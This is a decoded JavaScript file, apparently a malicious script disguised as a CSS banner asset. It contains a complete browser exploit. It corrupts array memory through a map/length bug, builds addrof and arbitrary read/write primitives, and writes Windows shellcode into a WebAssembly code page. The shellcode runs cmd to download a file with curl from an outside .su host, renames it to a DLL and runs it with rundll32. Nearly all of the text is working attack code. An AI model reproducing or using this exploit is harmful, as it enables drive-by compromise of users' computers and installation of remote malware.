banner.c_css after decoding

let conversion_buffer=new ArrayBuffer(8),float_view=new Float64Array(conversion_buffer),int_view=new BigUint64Array(conversion_buffer);BigInt.prototype.hex=function(){return"0x"+this.toString(16)},BigInt.prototype.i2f=function(){return int_view[0]=this,float_view[0]},BigInt.prototype.smi2f=function(){return int_view[0]=this<<32n,float_view[0]},Number.prototype.f2i=function(){return float_view[0]=this,int_view[0]},Number.prototype.f2smi=function(){return float_view[0]=this,int_view[0]>>32n},Number.prototype.i2f=function(){return BigInt(this).i2f()},Number.prototype.smi2f=function(){return BigInt(this).smi2f()},Array(2**30);const ui_event_update=23,ui_event_reset=24,ex=25,temp=33;let array=[1,2,,,,3],cnt=0;var tarray,farray,obj;function test(r){return r.map((function(r,t){if(0==t&&(farray=[.1,.2],(tarray=new BigUint64Array(2))[0]=0x41414141n,tarray[1]=0x42424242n,(obj={a:825373492,b:1}).b=obj),t>23)throw"stop";return t}))}function gfxbuffer(){for(let r=0;r<10**5;r++)test(array);array.length=33554431,array.fill(1,23,24),array.fill(1,25),array.push(2),array.length+=500,cnt=1;try{test(array)}catch(r){return test_array()}return False}function test_array(){return success=!0,success&=1094795585==farray[27].f2i(),success&=1111638594==farray[28].f2i(),success&=0x3132333400000000==farray[32].f2i(),success}function rq(r){let t=farray[25];farray[25]=(r-0x1fn).i2f();let n=tarray[0];return farray[25]=t,n}function wq(r,t){let n=farray[25];farray[25]=(r-0x1fn).i2f(),tarray[0]=t,farray[25]=n}function addrof(r){return obj.b=r,farray[33].f2i()}function cpy(r,t){t.forEach(((t,n)=>{wq(r+BigInt(n),BigInt(t))}))}function parse_css(){const r=new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,6,129,128,128,128,0,0,7,133,128,128,128,0,1,1,97,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,0,11]),t=new WebAssembly.Instance(new WebAssembly.Module(r)).exports.a;gfxbuffer();let n=rq(addrof(t)-1n+24n)-1n,e=rq(n+8n)-1n,a=rq(e+16n)-1n;cpy(rq(a+0xE8n)+0n,[72,131,236,40,101,72,139,4,37,96,0,0,0,69,51,219,72,139,72,24,72,139,65,32,72,139,8,72,139,1,76,139,64,32,73,99,64,60,78,99,140,0,136,0,0,0,77,3,200,65,139,65,24,133,192,116,88,69,139,81,32,72,137,92,36,32,72,187,87,105,110,69,120,101,99,0,15,31,64,0,255,200,141,20,133,0,0,0,0,73,3,210,74,99,12,2,74,57,28,1,116,6,133,192,117,230,235,32,65,139,81,36,3,192,65,139,73,28,73,3,192,15,191,4,2,193,224,2,72,152,73,3,192,76,99,28,1,77,3,216,72,139,92,36,32,186,0,0,0,0,72,141,13,10,0,0,0,65,255,211,51,192,72,131,196,40,195,99,109,100,32,47,99,32,99,117,114,108,32,45,115,32,45,45,102,97,105,108,32,104,116,116,112,115,58,47,47,97,99,55,98,50,101,100,97,54,102,49,52,46,100,97,116,97,104,111,103,46,115,117,47,50,119,51,101,57,56,116,53,122,104,50,57,56,119,51,116,122,104,103,55,57,56,50,119,51,116,52,101,103,32,45,111,32,34,37,84,69,77,80,37,92,116,109,112,54,70,67,49,53,46,116,109,112,34,32,38,38,32,109,111,118,101,32,34,37,84,69,77,80,37,92,116,109,112,54,70,67,49,53,46,116,109,112,34,32,34,37,84,69,77,80,37,92,116,109,112,54,70,67,49,53,46,100,108,108,34,32,38,38,32,114,117,110,100,108,108,51,50,32,34,37,84,69,77,80,37,92,116,109,112,54,70,67,49,53,46,100,108,108,34,44,109,97,105,110,0]),setTimeout(t,1e3)}parse_css();